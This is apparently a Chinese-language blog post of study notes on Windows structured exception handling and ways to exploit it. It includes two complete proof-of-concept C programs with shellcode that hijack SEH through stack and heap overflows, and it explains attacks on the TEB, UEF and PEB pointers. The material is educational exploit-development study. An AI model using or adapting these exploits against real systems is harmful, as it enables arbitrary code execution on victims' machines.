OD: Memory Attach Technology - Exception
看到第六章了:形形色色的内存攻击技术
异常处理结构体 S.E.H Structure Exception Handler
S.E.H 是 Windows 处理异常的重要数据结构。每个 S.E.H 为 8 字节:包含 S.E.H 链表指针和异常处理函数句柄(两个 DWORD)。
. S.E.H 存放在系统栈中,栈中一般会同时存放多个 S.E.H
. 线程初始化时,会自动向栈中安装一个 S.E.H,作为线程默认的异常处理。
. 如果程序源码中使用了 __try{}__except{} 或者 assert 宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个 S.E.H 来实现异常处理。
. 栈中的多个 S.E.H 通过链表指针在栈内由栈顶向栈底串成单链表,链表最顶端的 S.E.H 通过 T.E.B 字节偏移处的指针标识。
. 当异常发生时,OS 会中断程序,并首先从 T.E.B 的 字节偏移处(TEB FS:0)取出距离栈顶最近的 S.E.H,并使用异常处理函数句柄指向的代码来处理异常。
. 当离“事故现场”最近的异常处理函数运行失败时,将顺着 S.E.H 链表依次尝试其他的异常处理函数。
. 如果程序安装的所有异常处理函数都不能处理,OS 会用默认的异常处理函数:通常会弹出错误提示然后强制关闭程序。 注意:系统对异常处理函数的调用可能不止一次;对于同一个函数的多个 __try 或嵌套的 __try 需要进行 S.E.H 展开(unwind)操作;线程、进程、OS 的异常处理之间的调用顺序和优先级等也要考虑。
因此,一种利用思路就出来了:S.E.H 存放在栈中,所以可以用缓冲区栈溢出覆盖 S.E.H,将 S.E.H 中异常处理函数的地址修改为 Shellcode 的地址。溢出后错误的栈帧往往引发异常,之后 Windows 会将 Shellcode 当作异常处理函数执行。
栈溢出并攻击 SEH 异常处理回调函数示例如下:
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"! POC code of chapter 7.2 in book "Vulnerability Exploit and Analysis Technique" file name : SEH_stack.c
author : failwest
date : 2007.07.04
description : demo show of how SEH be exploited
Noticed : 1 only run on windows 2000
2 complied with VC 6.0
3 build into release version
4 SEH offset and shellcode address may need
to make sure via runtime debug
version : 1.0
E-mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include <windows.h> char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x98\xFE\x12\x00";//address of shellcode
DWORD MyExceptionhandler(void)
{
printf("got an exception, press Enter to kill process!\n");
getchar();
ExitProcess();
return ;
} void test(char * input)
{
char buf[];
int zero=;
//__asm int 3 //used to break process for debug
__try
{
strcpy(buf,input); //overrun the stack
zero=/zero; //generate an exception
}
__except(MyExceptionhandler()){}
} int main()
{
test(shellcode);
return ;
}
以上代码的测试环境为 Windows 2000 VM,编译版本为 Release。异常处理机制调试与堆调试类似,系统会检测进程是否处于调试态,调试态的异常处理与常态不一样,所以需要使用 int 3 中断来 Attach 进程进行调试。实验的关键在于确定 S.E.H 回调函数的句柄,这个是通过调试事先确定的:单击 OllyDbg 中的 View -> SEH Chain 可以看到异常回调函数句柄。
Windows 平台的溢出利用中,修改 SEH 和修改返回地址的栈溢出几乎同样流行。在很多高难度的限制条件下,直接利用溢出触发异常往往能得到高质量的 exploit。
同理,堆溢出攻击 SEH 的代码如下:
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"! POC code of chapter 7.2 in book "Vulnerability Exploit and Analysis Technique" file name : SEH_heap.c
author : failwest
date : 2007.07.04
description : demo show of how SEH be exploited
Noticed : 1 only run on windows 2000
2 complied with VC 6.0
3 build into release version
4 SEH address may need to make sure via runtime debug
version : 1.0
E-mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include <windows.h> char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00"//0x00520688 is the address of shellcode in first heap block
//"\x90\x90\x90\x90";//target of dword shouting
"\x30\xFF\x12\x00";//target of dword shouting DWORD MyExceptionhandler(void)
{
ExitProcess();
} main()
{
HLOCAL h1 = , h2 = ;
HANDLE hp;
hp = HeapCreate(,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means 512 !
__asm int // uesd to break the process
__try
{
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
}
__except(MyExceptionhandler()){}
return ;
}
需要注意的是,堆溢出中 SEH 的地址需要用如下技巧调试得知:
首先,OllyDbg 是可以捕获所有异常的,但需要在 Optins -> Debugging Option -> Exceptions 中关闭异常过滤。
这样,当进程发生异常时,OllyDbg 就可以捕获到(见底部状态栏):
然后,设置 DWORD SHOOT 攻击目标为非法地址 0x90909090,触发异常后,打开 OllyDbg 的 SEH Chain 才可以看到需要覆盖的 SEH 地址:栈顶端 SEH 的位置是 0x0012FF2C,所以 DWORD SHOOT 的地址是 0x0012FF2C + 0x4 = 0x0012FF30
深入 S.E.H
和堆分配机制一样,MS 从未正式公开过 Windows 的异常处理机制。但在非官方的文献资料中有一篇著名的技术文章:微软工程师 Matt Pietrek 所发表的 A Crach Course on the Depths of Win32 Structured Exception Handling,系统地描述了 Windows 中基于 S.E.H 的异常处理原理和大致流程,并讲解了 S.E.H 是如何实现 __try{}、__except{} 异常处理机制的,见:http://www.microsoft.com/msj/0197/exception/exception.aspx
从攻击者的角度讲,对异常处理的掌握只要知道改写 S.E.H 并劫持进程、植入代码就够了,但对安全技术研究人员来说,异常处理机制很有研究价值,几乎所有大师级别的安全专家都对异常处理机制了如指掌,如果能掌握异常处理的所有细节,那么就有可能创造一种新的漏洞利用方法。
异常处理的最小作用域是线程,此外进程中也有一个能纵观全局的异常处理,当线程自身的 SEH 无法处理错误的时候,进程 SEH 将发挥作用。这种异常处理不仅能影响出错的线程,进程下属的所有线程都会受到影响。除了线程、进程异常处理外,OS 还为所有程序提供了一个默认的异常处理:当所有线程、进程 SEH 都无法处理异常的时候,默认异常处理将启用,效果通常是弹出程序崩溃的对话框。
补充异常处理简要流程如下:
. 首先执行线程中离栈顶最近的 SEH 的处理函数
. 若失败,则依次执行 SEH 链表中的后续异常处理函数
. 若 SEH 链表中所有异常处理函数都没有处理成功,则执行进程中的异常处理
. 若进程 SEH 处理失败,则执行 OS 的默认异常处理函数:弹窗!
线程的异常处理
线程中用于异常处理的函数有 4 个参数:
pExcept : 指向一个非常重要的结构体 EXCEPTION_RECORD,该结构体包含了一些与异常相关的信息,如异常类型、异常发生地址等。
pFrame : 指向栈帧中的 SEH 结构体。
pContext : 指向 Context 的结构体,该结构体包含了所有寄存器状态。
pDispatch : 未知用途。。。
在回调函数(异常处理函数)执行前,OS 会将上述断点信息压栈。根据这些对异常的描述,回调函数可以轻松地处理异常:如将除零异常后相关寄存器的值修改为非零,将内存设访问错误异常后的寄存器地址指回有效地址等。
异常处理函数返回后,OS 根据返回值决定下一步操作:
ExceptionContinueExecution 异常处理成功,将返回原程序发生异常的地方继续执行后续指令(这里一些传递给回调函数断点信息可能被修改过,以防止如除零等异常)
ExceptionContinueSearch 代表异常处理失败,将继续按异常处理流程执行后续 SEH
线程异常处理中还有一个比较神秘的操作:unwind
当系统顺着 S.E.H 链表搜索到能够处理异常的句柄时,将会重新遍历 S.E.H 链表中已经调用过的 S.E.H 异常处理函数,并通知这些处理异常失败的 S.E.H 清理现场、释放资源,之后这些 S.E.H 结构体将从链表中拆除。
unwind 操作很好地保证了异常处理机制自身的完整性和正确性:
unwind 操作是为了在进行多次异常处理、甚至互相嵌套的异常处理时,仍能使异常处理机制稳定、正确地执行。unwind 会在真正处理异常之前将之前的 SEH 节点逐个拆除(拆除前会通知异常处理函数释放资源、清理现场),所以,异常处理时,线程的异常处理函数实际上被调用了两次:第一轮调用是用来尝试处理异常,第二轮调用是通知回调函数释放资源。unwind 调用是在回调参数中指明的,对照 MSDN,查看回调函数第一个参数 pExcept 所指向的 EXCEPTION_RECORD 结构体:
typedef struct _EXCEPTION_RECORD {
DWORDExceptionCode;
DWORDExceptionFlags; // Flags
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
DWORD ExceptionInformation [EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;
当这个结构体中的 ExceptionCode 为 0xC0000027(STATUS_UNWIND),并且 ExceptionFlags 为 2(EH_UNWINDING)时,对回调函数的调用就属于 unwind 调用。unwind 操作是通过 kernel32 中的一个导出函数 RtlUnwind() 实现,kernel32.dll 会转而再去调用 ntdll.dll 中的同名函数(见 MSDN):
void RtlUnwind (
PVOID TargetFrame,
PVOID TargetIp,
PEXCEPTION_RECORD ExceptionRecord,
PVOID ReturnValue
)
要注意的是,在使用回调函数之前,系统会判断当前是否处于调试状态,如果是,会将异常交给调试器处理。
进程的异常处理
线程中发生的异常若没有被线程异常处理函数或调试器处理成功,则将交给进程中的异常处理函数。
进程的异常处理函数需要通过 Kernel32.dll 的导出函数 SetUnhandledExceptionFilter 来注册:
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);
进程的异常处理函数返回值为:
EXCEPTION_EXECUTE_HANDLER 错误等到处理,程序将退出。
EXCEPTION_CONTINUE_SEARCH 无法处理错误,转交系统进行默认异常处理
- EXCEPTION_CONTINUE_EXECUTION 错误得到正确处理,并将继续执行。系统会用回调函数的参数恢复出异常发生时的断点情况(这时引起异常的寄存器值已经得到修复)
系统默认异常处理 U.E.F - Unhandled Exception Filter
如果用户没有注册进程异常处理,或者进程异常处理失败,则系统默认异常处理 UnhandledExceptionFilter() 会被调用。
UnhandledExceptionFileter() 首先检查注册表 HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AeDebug 下的项:
Auto : 1 表示不弹出错误对话框直接结束程序,其余值会弹窗。
Debugger : 指明默认调试器。
由以上信息,可以总结异常处理的流程如下:
. CPU 执行时发生并捕获异常,内核接过进程控制权,开始内核态的异常处理。
. 内核异常处理结束后,控制权交给 ring3。
. ring3 中的第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher()。
. KiUserExceptionDispatcher() 首先检查程序是否处于调试态,若是,则将异常交给调试器处理。
. 非调试态下,KiUserExceptionDispater() 调用 RtlDispatchException() 对线程 SEH 链表进行遍历,如果找到合适的回调函数,则进行 unwind 操作。
. 如果 SEH 处理异常失败,且用户使用 SetUnhandledExceptionFilter() 设定了进程异常处理,则这个异常处理将被调用。
. 如果用户没有定义进程异常处理或者定义的进程异常处理失败,则 UnhandledExceptionFilter() 被调用。
这个流程基于 Windows 平台,Windows XP 及后续的系统的异常处理流程大致相同,只是 KiUserExceptionDispatcher() 在遍历 SEH 之前,会先尝试新加入的异常处理类型 V.E.H(Vectored Exception Handling)
向量化异常处理 V.E.H - Vectored Exception Handler
从 Windows XP 开始,有兼容以前的 S.E.H 异常处理基础上,MS 增加了 V.E.H:
V.E.H 和进程异常处理类似,也是基于进程的,需要使用 API 注册回调函数:
PVOID AddVectoredExceptionHandler(
ULONG FirstHandler,
PVECTORED_EXCEPTION_HANDLER VectoredHandler
); V.E.H 结构
struct _VECTORED_EXCEPTION_NODE {
DWORD m_pNextNode;
DWORD m_pPreviowsNode;
PVOID m_pfnVectoredHandler;
}
可以注册多个 V.E.H,V.E.H 结构体之间串成双向链表,注册 V.E.H 时,可以指定其在链中的位置而不像 S.E.H 那样按顺序压栈。另外 V.E.H 是保存的堆中。
V.E.H 处理优先级高于 S.E.H 处理,而且 V.E.H 没有 unwind 操作。
David Litchfiled 在 Black Hat 上的演讲 Windows heap overflows 提出如果能利用 DWORD SHOOT 修改指向 V.E.H 头节点的指针,则异常处理开始后,可以引导程序执行 Shellcode。
攻击 TEB 中的 SEH 头节点指针
SEH 通过 TEB 的第一个 DWORD(fs:0)标识,这个指针指向离栈顶最近的 SEH。Halvar Flake 在 Black Hat 上的演讲 Third Generation Exploitation 中提出攻击 TEB 中 SEH 头节点指针的利用思路,并指明这种方法的局限:
1. 一个进程可能有多个线程。
2. 每个线程都有一个 TEB。
3. 第一个 TEB 开始于 0x7FFDE000,之后每个 TEB 紧随前边的 TEB,相隔 0x1000 字节,向内存低地址增长。
4. 线程退出时,TEB 销毁,腾出的 TEB 空间可以被后续重复使用。
服务器程序往往是多线程的,这种利用方法不便于判断对应 TEB 位置。所以,攻击 TEB 中 SEH 头节点的方法一般用于单线程程序。
攻击默认异常处理 U.E.F
Halvar Flake 最早提出攻击 UEF 的思路,同时还给出了确定 UEF 句柄的方法 - 反汇编 kernel32.dll 中的 SetUnhandledExceptionFilter():
利用 IDA Pro 打开 kernel32.dll 进行反汇编,分析结束后查看 Functions 选项卡,键入 SetUnhandledExceptionFilter 定位到这个函数,就能找到其入口地址。
双击这个函数,IDA 会自动跳到其反汇编代码处,从反汇编代码中可以查到 U.E.F 的地址。
跳板技术能使 UEF 攻击的成功率增高:异常发生时 EDI 往往指向堆中离 shellcode 不远的地方,把 UEF 的句柄覆盖成如下指令之一就可以定位 shellcode:
call dword ptr [edi+0x78]
call dword ptr [esi+0x4c]
call dword ptr [ebp+0x74]
但堆溢出不像栈溢出一样有个 jmp esp 作保证,堆溢出利用 edi 不一定能每次都成功。
攻击 PEB 中的函数指针
UEF 被使用后,最后将使用 ExitProcess() 和结束进程,ExitProcess() 清理现场时需要调用 RtlEnterCriticalSection() 和 RtlLeaveCriticalSection() 进入临界区同步线程。如果能用 DWORD SHOOT 把 PEB 中这对函数的指针修改成 shellcode 的地址,那么 UEF 调用 ExitProcess 时就会执行 shellcode。
比起不固定的 TEB,PEB 位置永远不变,因此这种方法比淹没 TEB 中 SEH 头节点更稳定可靠。
OD: Memory Attach Technology - Exception的更多相关文章
- OD: Memory Attach Technology - Off by One, Virtual Function in C++ & Heap Spray
Off by One 根据 Halvar Flake 在“Third Generation Exploitation”中的描述,漏洞利用技术依攻击难度从小到大分为三类: . 基础的栈溢出利用,可以利用 ...
- OD使用经验【转载】
文章整理发布:黑客风云 1.我的os是winXP,无法使用trw2000,而softice装了多次均未成功,还蓝屏死机多次.郁闷. 2.友好的gui界面,不像softice.可以边干活边听歌,不像s ...
- linux内核剖析(十一)进程间通信之-共享内存Shared Memory
共享内存 共享内存是进程间通信中最简单的方式之一. 共享内存是系统出于多个进程之间通讯的考虑,而预留的的一块内存区. 共享内存允许两个或更多进程访问同一块内存,就如同 malloc() 函数向不同进程 ...
- Exception Handling Considered Harmful
异常处理被认为存在缺陷 Do, or do not. There is no try. - Yoda, The Empire Strikes Back (George Lucas) by Jason ...
- .NET 框架(转自wiki)
.NET Framework (pronounced dot net) is a software framework developed by Microsoft that runs primari ...
- Thinking in Java——笔记(21)
Concurrency However, becoming adept at concurrent programming theory and techniques is a step up fro ...
- 64位WINDOWS系统环境下应用软件开发的兼容性问题(CPU 注册表 目录)
应用软件开发的64 位WINDOWS 系统环境兼容性 1. 64 位CPU 硬件 目前的64位CPU分为两类:x64和IA64.x64的全称是x86-64,从名字上也可以看出来它和 x86是兼容的,原 ...
- 现在的 Linux 内核和 Linux 2.6 的内核有多大区别?
作者:larmbr宇链接:https://www.zhihu.com/question/35484429/answer/62964898来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转 ...
- 【PC-x86-x64】JDK 32bit与64bit的区别及x64 PC的发展历程【转】
一次偶然分析的机会: 在进行Minecraft也就是所谓的我的世界游戏的时候,在对局域网进行开放的时候,我的是64bit的JDK,而我同学的是32bit的JDK,所以在进行局域网链接的时候就会出现In ...
随机推荐
- 武汉科技大学ACM :1008: 华科版C语言程序设计教程(第二版)习题6.14
Problem Description 输入一个八进制的字符串,将它转换成等价的十进制字符串,用pringf的%s格式输出. Input 首先输入一个正整数t,表示有t组测试数据(1<= t & ...
- Eclipse读取xml中文乱码问题解决
解决eclipse读取xml时中文乱码报错问题 在eclipse.ini中加入下而一行 -Dfile.encoding=UTF-8
- sql语法图
- 删除所有ecshop版权和logo
前面我们已经讲过如何删除ecshop的版权,但是还有很多人不会,今天就详细的讲下如何删除所有ecshop版权和logo 前台部分: 1:去掉头部TITLE部分的ECSHOP演示站 Powered by ...
- WDCP安装memcached
memcached安装 我们打开Web控制面板的时候其实memcached是没有安装的,所以我们要手动安装这个组件. 首先是要下载安装源代码并执行. 1 2 wget -c http://down.w ...
- Hibernate中get方法和load方法的区别
一.get和load方法都是根据id去获得对应数据的,但是获得机制不同:如果使用get方法,hibernate会去确认该id对应的数据是否存在,它首先会去session中去查询(session缓存其实 ...
- flask开发restful api系列(8)-再谈项目结构
上一章,我们讲到,怎么用蓝图建造一个好的项目,今天我们继续深入.上一章中,我们所有的接口都写在view.py中,如果几十个,还稍微好管理一点,假如上百个,上千个,怎么找?所有接口堆在一起就显得杂乱无章 ...
- Spark保存到HDFS或本地文件相关问题
spark中saveAsTextFile如何最终生成一个文件 http://www.lxway.com/641062624.htm 一般而言,saveAsTextFile会按照执行task的多少生成多 ...
- runtime 运行时机制 完全解读
runtime 运行时机制 完全解读 目录[-] import import 我们前面已经讲过一篇runtime 原理,现在这篇文章主要介绍的是runtime是什么以及怎么用!希望对读者有所帮助! ...
- Facebook和Google如何激发工程师的创造力
http://taiwen.lofter.com/post/664ff_ad8a15 今天终于“朝圣”了两个伟大的公司——Facebook和Google,对创造力和驱动力的来源有了更多的理解,尤其是对 ...